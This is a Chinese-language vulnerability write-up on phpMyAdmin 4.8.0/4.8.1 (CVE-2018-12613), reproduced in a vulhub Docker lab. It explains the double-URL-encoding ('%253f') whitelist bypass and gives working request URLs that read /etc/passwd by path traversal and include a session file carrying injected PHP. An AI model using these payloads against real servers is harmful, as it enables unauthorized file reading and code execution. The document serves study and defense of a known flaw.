phpmyadmin 4.8.1 (CVE-2018-12613)
简介
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
影响版本
phpMyAdmin 4.8.0和4.8.1
漏洞分析
我们先下载源码
wget https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip
进行解压
nzip phpMyAdmin-4.8.1-all-languages.zip
进行解压
nzip phpMyAdmin-4.8.1-all-languages.zip
/index.php里面if区间一共有五个判断:
- 是否存在target参数
- target参数是否为字符串
- 值不能以index开头
- 值不能出现在$target_blacklist内
- Core类的checkPageValidity方法判断
如果通过判断则包含参数所指定的文件。
前几个判断可以忽略,重要的是后面两个判断,先看第一个
$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以
我们看下一个判断
首先找到Core类的checkPageValidity函数:
缺陷在urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证
漏洞复现
这里我们用vulhub和docker快速搭建环境
cd vulhub/phpmyadmin/CVE-2018-12613
docker-compose up -d
打开http:your-ip:8080即可看到phpmyadmin页面
http://192.168.20.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可见/etc/passwd被读取,说明文件包含漏洞存在:
我们还可以这样利用,执行SELECT '<?php phpinfo()?>';
然后查看自己的sessionid(cookie中phpMyAdmin的值)
然后访问http://192.168.20.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_d776555732fe90dc7d50b31137c0cc1e包含session文件即可